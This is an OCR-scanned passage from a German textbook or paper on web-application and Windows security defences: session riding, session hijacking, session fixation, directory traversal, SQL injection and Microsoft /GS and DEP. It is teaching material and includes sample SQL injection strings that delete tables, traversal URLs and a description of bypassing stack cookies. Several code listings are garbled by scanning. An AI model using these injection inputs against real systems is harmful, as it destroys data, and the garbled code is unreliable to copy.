er die aktuelle aufgerufen hat. Um Session Riding zu unterbinden ist
eine Vorgehensweise zu iiberpriifen, ob der Referrer wirklich die der
Aktion vorangehende Seite ist. Solch eine Ma3nahme zu umgehen,
stellt aber keine besonders grofie Hiirde dar. Benutzt der Angreifer
beispielsweise einen iframe fiir die Attacke, so braucht er lediglich
erst die Seite, die die Aktion bereit stellt, in den iframe zu laden und
dann erst die gewiinschte Aktion aufzurufen.

Eine andere Vorgehensweise, die dieses Szenario unterbindet ist
es, auf jeder Seite den Referrer zu iiberpriifen, ob er ein Teil der
Webapplikation ist und etwaige Sessions zu beenden, sollte dies
nicht der Fall sein. Allerdings ist auch dieser Ansatz keine be-
sonders sichere Methode. Zum Einen konnen Referer-Header ge-
filscht werden [Klein2006] und zum Anderen schicken nicht al-
le Browser einen solchen Referer-Header mit und es gibt sogar
Pluglns[Tanakal], die dieses Verhalten unterbinden. Es kann auch
ein guter Ansatz sein dies zu unterbinden, da immer noch in man-
chen Webapplikationen Session-IDs als GET Parameter iibergeben
werden. Wenn der Benutzer nun eine solche Seite verlédsst hat die
aufgerufene Seite die Moglichkeit die Session-ID aus dem Referer-
Header auszulesen.

Wesentlich sicherer ist es das senden von Cookies bei Seitenauf-

rufen von fremden Domains auf der Benutzerseite zu unterbinden.
Denn nur dort kann wirklich festgestellt werden, wann eine Anfrage
von einer anderen Domain aus gemacht wird. Da es Informationen
die iiber die eigene Domain hinausgehen benétigt, kann es nicht
in einer Webapplikation implementiert werden und muss daher von
dem Benutzer selbst verwendet werden. Diesen Ansatz setzt unter
anderem auch Request Rodeo [Winter] ein.

Session Hijacking
TCP Session Hijacking

Eine sehr effektive Methode gegen TCP Session Hijacking und an-
dere Sniffing-Angriffe ist die Verschliisselung der Kommunkation,
zum Beispiel iiber SSL, durch SSH-Tunnel oder VPN. Wie bereits
erwihnt, sollte hierbei die gesamte Verbindung verschliisselt von-
statten gehen; eine Verschliisselung lediglich der Authentifizierung
erlaubt weiterhin das Mitlesen der Kommunikation und das Ein-
schleusen bosartiger Befehle.

Besonders wichtig ist es, kryptographische Mittel einzusetzen,
wenn die Kommunikation tiber externe oder unsichere Netze, wie
WLAN, Firmenpartner-LANs oder andere WANs sowie das Inter-
net, geschieht. Aber auch in firmeninternen Netzen ist es niemals
verkehrt, die Kommunikation zu verschliisseln - immerhin werden
viele Angriffe von Insidern ausgefiihrt. Sodann miisste, um Sessions
zu entfithren, ein Man-in-the-Middle-Angriff durchgefiihrt werden.

HTTP Session Hijacking

Gegen HTTP Session Hijacking hilft Verschliisselung im Regel-
fall jedoch nicht. Von hochster Prioritit ist hierbei, die Session-ID
geheim zu halten. Als weitere Vorsichtsmanahmen implementie-
ren viele Webanwendungen sekundidre Mechanismen, die Angriffe
auch im Falle einer bekannt gewordenen Session-ID ausbremsen
sollen. Diese werden wir im Folgenden diskutieren, es sei aber an
dieser Stelle darauf hingewiesen, dass keines der Verfahren absolu-
ten Schutz bieten kann, dieser kann nur durch Geheimhaltung der
Session-ID erreicht werden.

Eine bereits beschriebene Sicherheitsvorkehrung ist es, die IP-
Adresse in der Session zu speichern und bei jedem Seitenaufruf zu
iberpriifen, so dass die Session nicht von einer fremden IP weiterge-
fithrt werden kann. Wie ebenfalls erwihnt, muss hier die Entschei-
dung getroffen werden, ob man hier einerseits tatsdchlich die IP
nutzt und so unter Umstidnden grofe Benutzergruppen benachteiligt
beziehungsweise die Webanwendung fiir diese unbenutzbar macht
oder andererseits zum Beispiel tiberpriift, ob konsekutive Anfragen
aus demselben IP-Subnetz stammen, was wiederum Missbrauch in-
nerhalb dieser Subnetze ermoglichte.

Eine weitere SekundirmaBnahme ist die Uberpriifung des so-
genannten User-Agents. Hierbei handelt es sich um einen HTTP-
Header, den Browserhersteller zur Angabe ihres Produktes inklusi-
ve Versionsnummer nutzen.

Hier einige Beispiele:

Mozilla/5.0 (X11; U; Linux 1686; en-US;
rv:1.8.0.7) Gecko/20060830 Firefox/
1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-2)

Mozilla/5.0 (Windows; U; Windows NT 5.1;
de; rv:1.8.1.1) Gecko/20061204



Firefox/2.0.0.1

Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; .NET CLR 1.1.4322;
.NET CLR 2.0.50727)

Die Webanwendung iiberpriift hierbei, ob sich der User-Agent im
Laufe der Anfragen #dndert und filtert entweder abweichende Anfra-
gen heraus oder beendet bei einem Vorfall die dazugehorige Ses-
sion, so dass sich der legitime Nutzer erneut einloggen muss. Da
der User-Agent vom Benutzer kontrolliert wird - Firefox, wget und
andere bieten von sich aus die Moglichkeit, ihn frei zu wihlen; fiir
Software, die den Benutzer daran zu hindern versucht, ihn zu ver-
dndern, eignen sich die oben erwihnten Manipulationsproxies - ist
auch dies allein keine brauchbare Methode. Der Angreifer konnte
durch Ausprobieren oder dadurch, dass er das Opfer dazu bringt,
seine eigene Website zu besuchen, dessen User-Agent erfahren und
dieses Wissen gegen die Webanwendung nutzen.

Ein dritter Ansatz sind variable Session-IDs, hierbei wird bei
jeder Anfrage eine neue Session-ID generiert. Doch auch diese Me-
thode stellt keinen Schutz dar, wenn der Angreifer schneller als das
Opfer die Website mit der Session-ID aufruft und so eine neue er-
zeugt. Auf diese Weise wiirde lediglich der legitime Benutzer aus-
geloggt, nicht aber der Angreifer! Bis zum erneuten Login des Op-
fers hitte der Angreifer so freie Hand.

Weiterhin bietet es sich an, Soft- und Hard-Timeouts in die We-
bapplikation zu integrieren. Soft-Timeouts erzwingen vom Benut-
zer die erneute Eingabe des Passworts, wenn dieser nicht innerhalb
einer bestimmten Zeitspanne von zum Beispiel 5 Minuten Anfragen
an die Anwendung stellt. Ist der Benutzer jedoch aktiv, das heisst,
stellt er regelméBig Anfragen, wiirde der Soft-Timeout niemals ein-
treten. Zu diesem Zweck existiert der Hard-Timeout, nach dessen
Ablauf der Benutzer in jedem Fall ausgeloggt wird und sein Pass-
wort erneut eingeben muss.

Anwendungsgebunden konnte dieser zum Beispiel bei 30 Minuten
liegen, so dass der Benutzer seinen Soft-Timeout von 5 Minuten und
damit die Sessiondauer maximal fiinfmal verldngern beziehungs-
weise auffrischen kann, bis er nach 30 Minuten in jedem Fall aus-
geloggt wird.

Der wirkliche Nutzen dieser Timeouts ist jedoch kontrovers, da
die Angriffe meist automatisiert sind und somit vor Ablauf der Ti-
meouts geschehen.

Wenn man alle diese Sekundidrmafnahmen kombiniert und den
Benutzer bei der geringsten Diskrepanz ausloggt, wiren Angriffe
nur schwer realisierbar. Trotzdem lassen sich sicherlich Szenarien
finden, in denen sie trotzdem noch moglich sein konnten.

Die wichtigste Manahme ist und bleibt die Geheimhaltung der
Session-ID, ohne die Angriffe nahezu unmoglich sind. Nichtsdesto-
trotz schaden die beschriebenen sekundiren Maflnahmen nicht, da
sie sogenannte ,,.Defense in depth®, also Verteidigung in der Tiefe,
bieten, anstatt die Sicherheit des Systems von nur einer Kompo-
nente abhingig zu machen. Falls der Primdrmechanismus, egal aus
welchem Grund, einmal ausfallen sollte oder unwirksam ist, hat der
Angreifer nun dank der Sekunddrmafnahmen nicht sofort leichtes
Spiel.

An dieser Stelle sei noch auf die Gefahren von ,,cross-
authentication sessions (authentifizierungsiibergreifenden Sessi-
ons) hingewiesen: Weist die Webanwendung jedem Besucher, ein-
geloggt oder nicht, eine Session-ID zu und wird diese nach vollzo-

genem Login weiterbenutzt, treten Probleme auf.

Viele dieser Webanwendungen wechseln zum Login von HTTP zu
HTTPS, damit die Daten nicht mitgesnifft werden kénnen. Sie tiber-
sehen dabei, dass ein Angreifer, der die anfdnglichen, unverschliis-
selten Anfragen mitgelesen hat, schon im Besitz der Session-ID ist.
Er muss nun lediglich warten, bis der Benutzer sich eingeloggt hat,
um dann die Session zu iibernehmen.

Session Fixation

Session Fixation ist im Normalfall ein Fehlverhalten der Session-
Management-Implementation des Webservers, es sei denn, die Ap-
plikation benutzt ein selbst erstelltes Session-Management. Da ASP
eine relativ verbreitete Sprache fiir Webseiten und leider fiir Sessi-
on Fixation besonders anfillig ist, da es auch fiir nicht bekannte
Session IDs eine neue Session anlegt, wird nachfolgend an seinem
Beispiel auf die Behebung von Session Fixation-Verwundbarkeiten
eingegangen. Ein besseres vorgehen des Session-Managements wi-
re es, die unbekannte Session ID zu verwerfen und eine eigene zu
vergeben.

Im Folgenden sehen wir eine Implementation in ASP, die Ses-
sion Fixation verhindert [owasp-sf].

<%
Private Function RandomString (1)
Dim value, i, r
Randomize
For i = 0 To 1
r = Int (Rnd » 62)
If r<10 Then
r =r + 48
ElseIf r<36 Then
r = (r — 10) + 65

Else
r = (r - 10 - 26) + 97
End If
value = value & Chr(r)
Next

RandomString = value
End Function

Public Sub AntiFixationInit ()
Dim value
value = RandomString(10)

Response.Cookies ("ASPFIXATION") = value
Session ("ASPFIXATION") = value
End Sub

Public Sub AntiFixationVerify (LoginPage)
Dim cookie_value, session_value
cookie_value =

Request .Cookies ("ASPFIXATION")
session_value = Session ("ASPFIXATION")
If cookie_value <> session_value Then

Response.redirect (LoginPage)

End If
End Sub
%>

Auf allen Seite sollte nun



<!-—#include virtual="/AntiFixation.asp" -->

eingebunden werden, damit dieser Patch auch verwendet wird. Alle
anderen Seiten, auf3er der Login-Seite, miissen auch

<% AntiFixationVerify("login.asp") %>

enthalten. Immer, wenn sich nun ein Benutzer einloggt, sollte eine
neue Session erstellt werden, in unserem Fall wére das der Funkti-
onsaufruf

AntiFixationInit ()

Damit wird verhindert, dass eine Session-ID, die moglicher Weise
von einer fremden Quelle generiert wurde, letztendlich die Session
eines angemeldeten Benutzers ist. Dadurch wire diese fremde Quel-
le ndmlich in der Lage, die Session-ID zu benutzen. Eine solche Ge-
nerierung der Session-ID durch den Angreifer ist nicht notwendiger
Weise nur das Erstellen einer Zeichenkette. Sollte der Webserver
keine neue Session zu einer unbekannten Session-ID anlegen, so
ist er immernoch nicht sicher vor Session Fixation. Der Angreifer
konnte eine giiltige Session auf dem Webserver erstellen und diese
dann an sein Opfer weiterreichen. Also erst, wenn beim Anmelden
eine neue Session ID und somit auch eine neue Session angelegt
wird, verhindert man Session Fixation.

Remote File Inclusion

In Anweisungen sollte man vermeiden, Variablen zu verwenden, auf
die der Benutzer Einfluss hat.

Wenn dies absolut nicht vermeidbar ist (was normalerweise
nicht vorkommt), muss man dafiir sorgen, dass die eingebenen Da-
ten ausreichend tiberpriift und problematische Eingaben entfernt
werden, so dass keine entfernten Dateien geoffnet werden konnen.
Bestenfalls gibt man eine Liste mit moglichen Belegungen der Va-
riable vor und iiberpriift diese daraufhin.

Besonders wenn Daten an Drittsysteme wie das Dateisys-
tem, einen Befehlsinterpreter oder Datenbanken iibergeben werden,
miissen sie in jedem Falle tiberpriift und gereinigt werden. Die glei-
chen MaBinahmen gelten fiir Daten, die vom Benuter oder aus Dritt-
systemen in die Applikation eintreten.

Directory Traversal

Ein generelles Herausfiltern von ,,.“ und ,,/* selbst kommt nicht
in Frage, denn diese werden in jeder URL benétigt. Auch ein Fil-
tern von ,,. . /“ist nur eine scheinbare Abhilfe. Implementiert man
einen Schutz derart, dass er jegliches Vorkommen von ,,. . /* ent-
fernt, so kann der Angreifer immer noch eine URL der Art

http://www.example.com/index.php
?..././log/dmesg

generieren. Wird der Teil ,,. . /* entfernt, funktioniert der Angriff
weiterhin. Hier wiirde nur ein rekursives Entfernen Abhilfe schaf-
fen.

Doch damit nicht genug: Zeichen konnen auf verschiedens-
te Art und Weise dargestellt werden - die erwihnte Zeichenfolge
lasst sich zum Beispiel auch durch ihre Hexadezimalform (auch:
Percent-encoding [w-pe]], URL-encoding) ,,$2e%2e%2£* darstel-
len und auch ein Mischen und Camelcase (zu deutsch auch Binnen-
majuskel [w-bml) sind moglich, zB. ,,$2E . $2£"

Auf Windows-Systemen muss weiterhin der Backslash ,,\*
bzw. seine Umschreibung ,,%5c* beriicksichtigt werden.

Mit der Einfiihrung von UTF-8 traten in Microsoft IIS und an-
derer Software, die denselben Fehler machte, neue Probleme auf
[Schneier2000]]: Da es in UTF-8 mehrere mogliche Enkodierungen
fiir ein und dasselbe Zeichen gibt, sollten Filter diese zunichst in
ihre kiirzeste, kanonische [W=ca] Form bringen. Dies versdumte die
verwundbare Software. In UTF-8 {ibersetzen sich beispielsweise die
Percent-encodings ,,$c1%$1c", ,,5c0%9v* und ,,%5c0%af" zu ,,/*
bzw. ,,\“.

Um Directory Traversal-Angriffe abzuwehren, muss man also
eine grof3e Anzahl von Kombinationen berticksichtigen. Ein erfolg-
reiches Vorgehen konnte folgendermaBen aussehen:

1. Entferne unerlaubte Zeichen [Berners-Lee2005]|

2. Verarbeite URI-Anfragen, die keine Dateizugriffe erfordern,
und fahre erst dann unterhalb fort.

3. Wenn eine URI-Anfrage fiir eine Datei oder ein Verzeichnis
gemacht werden soll, erzeuge den vollstindigen Pfad dorthin
und normalisiere alle Zeichen (zB. $20 in Leerzeichen um-
wandeln).

4. Es wird angenommen, dass die DocumentRoot in absoluter
Form und normalisiert ist, der Pfad bekannt ist und diese Zei-
chenkette die Linge N hat. Auf keine Dateien auflerhalb die-
ses Verzeichnisses darf zugegriffen werden.

5. Uberpriife, ob die ersten N Zeichen des absoluten Pfades der
angeforderten Datei identisch sind mit der DocumentRoot.

e Falls ja, erlaube den Zugriff.

e Falls nicht, gib eine Fehlermeldung zuriick, da die An-
frage offensichtlich auBerhalb des Bereiches liegt, auf
den der Webserver zugreifen darf.

SQL-Injection

Dass die Unterdriickung von Fehlermeldung allein keinen Schutz
gegen SQL-Injection bietet, haben wir bereits erwihnt. Das liegt
unter anderem daran, dass dieses Vorgehen eine Art von Security
by Obscurity (auch: Security through Obscurity) darstellt. Unter
diesem Begriff fasst man alle Mechanismen zusammen, bei denen
die unterliegenden Algorithmen nicht preisgegeben werden und so
versucht wird, die Sicherheitsmechanismen effektiver zu machen.
Da die Angreifer nicht wissen, wie die Algorithmen funktionieren,
ist der Schutz fiir sie schwerer zu brechen, so die Annahme. Se-
curity by Obscurity ist vielfach in Verruf geraten. Nicht, weil es
inhdrent schlecht wire, sondern weil es oft der einzig eingesetz-
te Sicherheitsmechanismus ist [Beale2000, [Schneier2002]]. Wenn
die Applikation keine fiir den Angreifer wertvollen Informationen
preisgibt, ist das sicherlich eine gute Sache, dies sollte jedoch nur
ein Sekundidrmechanismus sein. In erster Linie sollte die Applikati-
on nicht fiir SQL-Injection anfillig sein.

Einem auch heute noch verbreiteten Irrglauben zufolge ist SQL-
Injection durch Stored Procedures verhinderbar. Dabei handelt es
sich um benannten Code auf dem Datenbankserver. Statt eine SQL-
Anfrage direkt an die Datenbank zu iibergeben, ruft die Anwendung



eine gespeicherte Anfrage tiber ihren Namen auf und iibergibt die
bendtigten Parameter. Auf einem MS SQL Server konnte das so
aussehen:

CREATE PROCEDURE insert_person
@name VARCHAR(10), @age INTEGER AS
INSERT INTO person (name,age)

VALUES (@name, @age)

GO

Die mit insert_person benannte Prozedur akzeptiert eine Zei-
chenkette als Namen und ein ganzzahliges Alter. Fiir das Eintragen
in die Datenbank wird ein traditionelles INSERT benutzt. Der Vor-
teil hierbei ist, dass die Variablen getypt sind, daher sollten wir den
Namen nicht in Anfiihrungszeichen setzen. Probleme treten auf, je
nachdem, wie die Prozedur aufgerufen wird. Im einfachsten Fall
geschieht dies iiber eine SQL-Anfrage, wie das folgende Beispiel
zeigen soll:

conn.execute ("insert_person "
& Request ("name") & "7, "
& Request ("age"))

Da wir hier félschlicherweise der Meinung sind, Stored Procedu-
res seien nicht SQL-Injection-anfillig, haben wir uns nicht um Me-
tazeichen gekiimmert und unser Angreifer gibt als Namen freudig
folgendes ein (das Alter ldsst er frei):

bar’,1 DELETE FROM person —-—

Wegen der einfachen String-Konkatenation in obigem Code fiihrt
die Datenbank aus:

insert_person ’'bar’,1
DELETE FROM person —--',

Erst der normale Aufruf der Stored Procedure, dann der Befehl, die
gesamte Tabelle zu 16schen. Die Stored Procedure hat die SQL-
Injection keineswegs verhindert.

Andere sagen, das Problem seien die Zugriffsrechte in der Da-
tenbank und dass zum Beispiel eine Beschrinkung auf das Aus-
fithren von Stored Procedures hiilfe. Wenn die Anwendung kein
SELECT, INSERT, DELETE ausfiithren darf, wird zwar der oben
beschriebene Angriff verhindert, aber ein Angreifer kann genauso
eine Stored Procedure, von der er weiss, aufrufen - die Anwen-
dung ist weiterhin anféllig. Die Stored Procedure konnte das Lo-
schen fiir ihn iibernehmen, wenn das ihre Aufgabe ist. Aulerdem
ist es keineswegs klug, die Sicherheit der Anwendung einzig und
allein in die Hénde des Datenbankservers zu legen. Die Datenbank-
Einstellungen sind nicht nur aulerhalb der Kontrolle des Program-
mierers, sie unterliegen auch moglichen Modifikationen durch Up-
dates, Wiedereinspielen von Backups, oder unerfahrenen Adminis-
tratoren. Zwar sind diese Einschriankungen eine gute Sache, sie soll-
ten jedoch nur als Sekunddrmafinahme eingesetzt werden, denn sie
ersetzen keineswegs eine verniinftige Losung des Problems.

Da wir nun wissen, dass Stored Procedures das Problem nicht
vollstiandig 16sen, schauen wir uns an, wie es richtig gemacht wird.
Die Losung beinhaltet Metazeichen und deren Sonderbedeutung.
Diese Sonderfunktion miissen wir entfernen, entweder indem wir
sie manuell behandeln oder bevorzugt durch die Nutzung von Da-
tenbankanfragen, in denen es keine Metazeichen gibt. Doch eins
nach dem anderen.

Entschirfen von Metazeichen

Bei jeder Konstruktion von SQL-Anfragen, die wir an die Daten-
bank iibergeben wollen, miissen wir sicherstellen, dass keine Meta-
zeichen darin enthalten bleiben. Da meist Zeichenketten oder Zah-
len an die Datenbank iibergeben werden, werden wir Funktionen
konstruieren, die diese Datentypen auf geeignete Weise reinigen.

Beim Programmieren derartiger Funktionen ist es von hochs-
ter Wichtigkeit, dass diese auf die jeweils genutze Datenbank zu-
geschnitten sind. Informationen iiber die in der Datenbank existie-
renden Metazeichen sind in der Dokumentation der Datenbank be-
schrieben. Jeder SQL-basierte Datenbankserver erfordert zunzchst
das Escapen von einfachen Anfiihrungszeichen in Stringkonstanten.
Der SQL-Spezifikation [ans1992] zufolge kann dies erreicht wer-
den, indem man sie verdoppelt.

Aber es kann je nach Datenbank noch weitere, nicht-
standardisierte Metazeichen geben. MySQL und PostgreSQL er-
lauben Escapesequenzen mit Backslashes, wie in C und Java. So
ein Backslash kann auch dazu genutzt werden, ein Anfiihrungs-
zeichen zu escapen. Wenn ein Webanwendungsentwickler bei der
Ubergabe von Zeichenkettenkonstanten diesen Backslash vergisst,
kann ein Angreifer der Anwendung weiterhin Schaden zufiigen.
Unser Beispiel ist geschrieben in ASP/VBScript, mit PostgreSQL
als Backend. Es akzeptiert einen Namen aus einem Webformular
und sucht diesen in der Datenbank:

userName = Request.Form("username")

userNameSQL = "’" & Replace(
userName, nrs ", nwrr ") & nrw

query = "SELECT % FROM User WHERE
Username=" & userNameSQL

Hier werden die Anfithrungszeichen wie besprochen durch Dupli-
kation escaped. Ein cleverer Angreifer weiss oder vermutet nun,
dass der Backslash unberiicksichtigt bleibt und gibt folgenden Be-
nutzernamen ein:

\’; DELETE FROM User —-—

Wenn dieser eigentiimliche Benutzername an die Datenbank iiber-
geben wird, sieht die Anfrage wie folgt aus:

SELECT » FROM User WHERE
Username='\’’; DELETE FROM User —-'

Die Webanwendung hat nichts mit dem Backslash getan, nur das
einzige vorkommende Anfithrungszeichen verdoppelt. Sehr zum
Leidwesen des Entwicklers interpretiert die Datenbank das \’ als
einfaches Anfithrungszeichen und somit ist das vermeintlich durch
Duplikation entschirfte Anfiithrungszeichen wieder ,,unescaped,
beendet die Stringkonstante vorzeitig und 6ffnet SQL-Injection wie-
der Tiir und Tor. In unserem Beispiel werden alle Benutzer aus der
Datenbank geloscht.

Der Anwendungsentwickler hat ein Metazeichen herausgefil-
tert, ein weiteres jedoch vergessen. Sicherheitsliicken wie diese, die
durch mangelndes Wissen iiber das Subsystem entstehen, konnen
alles sein, was der Angreifer braucht, um einen erfolgreichen An-
griff durchfiithren zu konnen. Deswegen ist es extrem wichtig, jedes
mogliche Metazeichen der genutzten Subsysteme zu identifizieren.

Hier ein String-,,Entschirfer” in PHP, der (fiir PostgreSQL-
Datenbanken) funktioniert:



function SQLString($s) {

$S - Str_replace(",", "’7"’ $S);
$s = str_replace ("\\", "\\\\", $s);
return nwrn . $S . nr ";

}

Die Funktion verdoppelt erst die einfachen Anfiihrungszeichen und
dann die Backslashes, wobei letztere in PHP selbst Metazeichen
sind und daher escaped werden miissen. Der resultierende String
wird, wie zuvor, in einfache Anfiihrungszeichen eingeschlossen um
ihn als SQL-Stringkonstante zu identifizieren.

Zur Nutzung dieser Funktion sollten die PHP-Optionen
magic_quotes_* deaktiviert werden, damit diese nicht mit der
Funktion interferieren. PHPs magic_quotes_ « verfolgt den An-
satz, Metazeichen bei der Eingabe in die Applikation zu escapen,
statt bei der Ausgabe in die Subsysteme, wo wir das Escapen beno-
tigen. Dieses verfriihte Escapen zwingt unsere Anwendung, mit Da-
ten zu arbeiten, die zusitzliche Zeichen enthalten. Mit anderen Wor-
ten: Jedes Mal, wenn wir die Daten zum Beispiel ausgeben wollen,
miissen wir diese Zeichen wieder entfernen und - je nachdem, wie
wir sie entfernt haben - hinterher wieder einfiigen, falls wir die Da-
ten in einer Datenbank speichern wollen. Des Weiteren weiss PHP
zur Zeit der Eingabe nicht, an welche moglichen Subsysteme wir
die Daten iibergeben wollen, daher miissen wir eventuell weitere
Metazeichen selbst escapen, obwohl PHP die Daten schon zum Teil
escaped hat. Angesichts dieser Tatsache ist es ratsam, die Escape-
Funktionen selbst zu schreiben.

Nun eine zur obigen dquivalente Funktion, passend fiir ASP mit
MS SQL:

Function SQLString(ByVal s)

SQLString = "'" &

Replace (s, "'",
End Function

llllll) § "rm

Es mag verlockend sein, diese Funktionalitit nicht in einer separa-
ten Funktion unterzubringen, sondern Replace iiberall dort zu be-
nutzen, wo es benotigt wird. Im Sinne der zukiinftigen Wartung ist
dies jedoch nicht; wenn einmal weitere Metazeichen escaped wer-
den miissen, zum Beispiel bei einem Wechsel der Datenbank, miiss-
te man etliche Anderungen in der Anwendung vornehmen statt nur
einer einzigen bei Nutzung einer gesonderter Funktion.

Fiir Zahlen ist, wie schon bei der Beschreibung der Schwach-
stellen erwihnt, jedes nichtnumerische Zeichen illegal, da es den
Parser den Kontext wechseln lédsst. Die folgende PHP-Funktion ver-
sucht, die Zahl 0 auf die Eingabe zu addieren, nachdem Leerzeichen
entfernt wurden. War die Eingabe eine Zahl, so wird diese zuriick-
gegeben, sonst 0:

function SQLInteger ($s) {
return (int) (trim($s) + 0);

}
Dasselbe in VBScript:

Function SQLInteger (ByVal s)
If IsNumeric(s) Then
SQLInteger = Fix(s)
Else
SQLInteger = 0
End If
End Function

Die Funktion Fix dient folgendem Zweck: Falls IsNumeric den
Wert True zuriickgibt, heisst das nicht, dass die Benutzereingabe
auch direkt in die Datenbank gegeben werden kann. So ist zum Bei-
spiel 3, 14 zwar eine giiltige (deutsche) Zahl, doch die Datenbanken
nutzen meist die US-amerikanische Zahlendarstellung, 3.14. Fix
schneidet nun einfach das Trennzeichen und alles nachfolgende ab,
so dass wirklich nur noch eine Ganzzahl iibergeben wird. Alternativ
zur Riickgabe von Null im Fehlerfall konnte die Ausfithrung been-
det und der Vorfall in eine Logdatei geschrieben werden. In einigen
Datenbankanfragen konnten zudem negative Zahlen verboten sein.
In diesem Fall miisste die Funktion sicherstellen, dass die Benut-
zereingabe nicht kleiner als Null ist.

Funktionen wie die beschriebenen sollten in jeder SQL-Anfrage
genutzt werden. Im folgenden Beispiel nutzen wir beide PHP-
Funktionen:

$Squery = "UPDATE news SET title="
SQLString ($title)
" WHERE id=" SQLInteger ($id) ;

Je nach Bedarf sollte man dhnliche Funktionen wie SQLFloat
oder SQLDate hinzufiigen.

Das Entfernen oder Escapen von Metazeichen schiitzt gegen
SQL-Injection. Leider ist es nur allzu einfach, hin und wieder ein
Metazeichen zu vergessen oder zu iibersehen. Sehen wir uns einen
Ansatz an, in dem man sich nicht an Metazeichen erinnern muss.

Nutzung von Prepared Statements

Statt die Metazeichen selbst zu escapen bietet sich die Nutzung
von Prepared Statements an. Viele Datenbankenserver unterstiitzen
diese Kommunikationsmethode, bei der Anfrageparameter getrennt
von der Anfrage selbst tibergeben werden. In Prepared Statements
gibt es keine Metazeichen.

Im Folgenden der Ausschnitt eines Java-Programms, das per
JDBC ein PreparedStatement erzeugt und ausfiihrt (Micro-
soft hat dhnliche Funktionalitit durch das ADODB.Command-
Object):

PreparedStatement ps =
conn.prepareStatement (
"UPDATE news SET title=? WHERE id=?"
)i

ps.setString (1, title);
ps.setInt (2, id);
ResultSet rs = ps.executeQuery();

Erst wird die Anfrage mit Fragezeichen als Platzhaltern generiert,
die angeben, wo die Parameter eingesetzt werden sollen. Anschlie-
Bend werden ein String und ein Int in die Anfrage eingefiigt und
schlieBlich wird die Anfrage ausgefiihrt.

Die Nutzung von Prepared Statements ist nicht komplizierter
als die Nutzung von Anfragen mit den selbstgeschriebenen Sdube-
rungsfunktionen, und sie zahlt sich wirklich aus: Man muss sich ers-
tens nicht darum kiimmern, welche Metazeichen im vorliegenden
Szenario existieren und diese entfernen. Zweitens werden Prepa-
red Statements meist schneller ausgefiihrt als ,,normale* Anfragen,
da sie vom Datenbankserver nur ein einziges Mal geparsed werden
miissen.



Will nun ein Angreifer Schaden anrichten, indem er zum Bei-
spiel versucht, Datenbankinhalte zu 16schen, und setzt t it 1e auf

"; DELETE FROM news —-— s

so erreicht er sein Ziel nicht. Es wird lediglich der String in die Da-
tenbank eingefiigt, wobei die Metazeichen korrekt escaped werden.

Microsoft

Um nicht nur die Schutzmechanismen der Unix-/Linux-Welt zu be-
schreiben, sondern auch zu zeigen, dass Microsoft ebenfalls an si-
cherer Software und sicheren Betriebssystemen interessiert ist, soll
in diesem eigenen Abschnitt speziell auf die Sicherheitsmechanis-
men aus dem Hause Microsoft niher eingegangen werden.

Unter dem Oberbegriff Exploitation Prevention Mechanisms
(kurz XPMs) versteht Microsoft eine Reihe von Schutzmechanis-
men, welche stindig erweitert und erneuert werden. Der Oberbe-
griff XPM wurde mit der Veroffentlichung von Windows 2003 Ser-
ver Service Pack 1 und Windows XP Service Pack 2 eingefiihrt.

/GS Flag

Seit Visual Studio .Net ist die sogenannte /GS-Option im Microsoft
Compiler verfiigbar und per Default angeschaltet. Durch diese Opti-
on wird die Software so kompiliert, dass zur Laufzeit auf dem Stack
vor den Saved Instruction Pointer und Saved Frame Pointer ein Coo-
kie (Canary Value) abgelegt wird. Eine weitere Besonderheit ist,
dass bereits das Betriebssystem Windows 2003 Server und alle sei-
ne Dienste mit dieser Option kompiliert wurde. Der Windows 2003
Server kommt also von Haus aus mit einem eigenen ,,StackGuard*.

/GS Flag-Schwachstellen

Dieser Schutzmechanismus enthilt einige Schwachstellen, welche
hitten vermieden werden konnen. Unnétig daher, da sich einige
Schwachstellen hitten vermeiden lassen konnen, wenn man sich
Gedanken tiber das Design dieser Schutzmafnahme gemacht hit-
te.

Eine Schwachstelle ist die Tatsache, dass eine Kopie des Cookie
zum spiteren Ableich im .data-Segment abgelegt wird. Dieser
Bereich ist beschreibbar. Einem Angreifer ist es so unter Umstéin-
den moglich, sowohl den orginalen Cookie vor dem Saved Frame
Pointer als auch die Kopie im .data-Segment in Form von zwei
Schreibvorgingen mit identischen Werten zu iiberschreiben. Beim
ersten Schreibvorgang konnen durch einen einfachen Pufferiiber-
lauf der originale Cookie mit beliebigen Werten sowie die Riick-
sprungadresse iiberschrieben werden. Durch einen zweiten direk-
ten Schreibvorgang im .data-Segment zum Beispiel in Form ei-
ner Format-String-Schwachstelle kann anschlieSend die Kopie mit
denselben beliebigen Werten tiberschrieben werden. Ein vom Sys-
tem ausgefiihrter Abgleich des Originals mit der Kopie kann keine
Manipulation feststellen. Somit wird die manipulierte Riicksprun-
gadresse aufgerufen und der dort stehende Code ausgefiihrt. Hier
hitte Microsoft dafiir sorgen miissen, dass die Kopie vom Cookie in
einem als nicht beschreibbar markierten Bereich abgelegt wird.

Eine weitere Schwachstelle betrifft die Ausnahmebehandlung
von Windows. Erkennt das System eine Manipulation im Prozess-
speicher, so wird nicht, wie zum Beispiel bei StackGuard oder

StackShield, die Anwendung sofort terminiert, sondern es wird eine
Ausnahmebehandlung aufgerufen. Ein Angreifer kann jedoch unter
Umsténden die Moglichkeit haben, den Zeiger fiir die sogenann-
te EXCEPTION_REGISTRATION zu iiberschreiben und auf belie-
bigen Code zeigen lassen. Beim Aufruf der Ausnahmebehandlung
wird so schlieBlich nicht die Routine zur Ausnahmebehandlung aus-
gefiihrt, sondern der gewiinschte Code vom Angreifer. Microsoft
hat diese Schwachstelle erkannt und versucht, unter dem Namen
SaveSEH auszubessern, indem iiberpriift wird, auf welche Adres-
sen der Zeiger deutet. Weist der Zeiger auf eine Adresse im Stack,
so wird die Ausfithrung des dort abgelegten Codes untersagt. Je-
doch gibt es Speicheradressen, die von Microsoft nicht als kritisch
eingestuft worden sind. So ist es zum Beispiel moglich, den Zeiger
auf diverse Speicheradressen im Heap oder auf andere beschreibba-
re Segmente zu verlinken, ohne dass das System bei einem Aufruf
der Ausnahmebehandlung die Ausfithrung des dort abgelegen Co-
des unterbindet.

NX-Ausfithrungsschutz

Microsoft hat in seine Betriebsysteme auch eine No eXecute-
Technologie implementiert. Dadurch sollen bestimmte Speicherre-
gionen als nicht ausfithrbar markiert werden.

Die Bezeichnung fiir diese Feature lautet hardware-enforced
Data Execution Prevention (kurz: DEP). Dies ist eine ausschlie8lich
hardwarebasierte Losung, das heisst die CPU muss das sogenannte
NX-Bit unterstiitzen. Ohne eine passende CPU ist dieser Schutz-
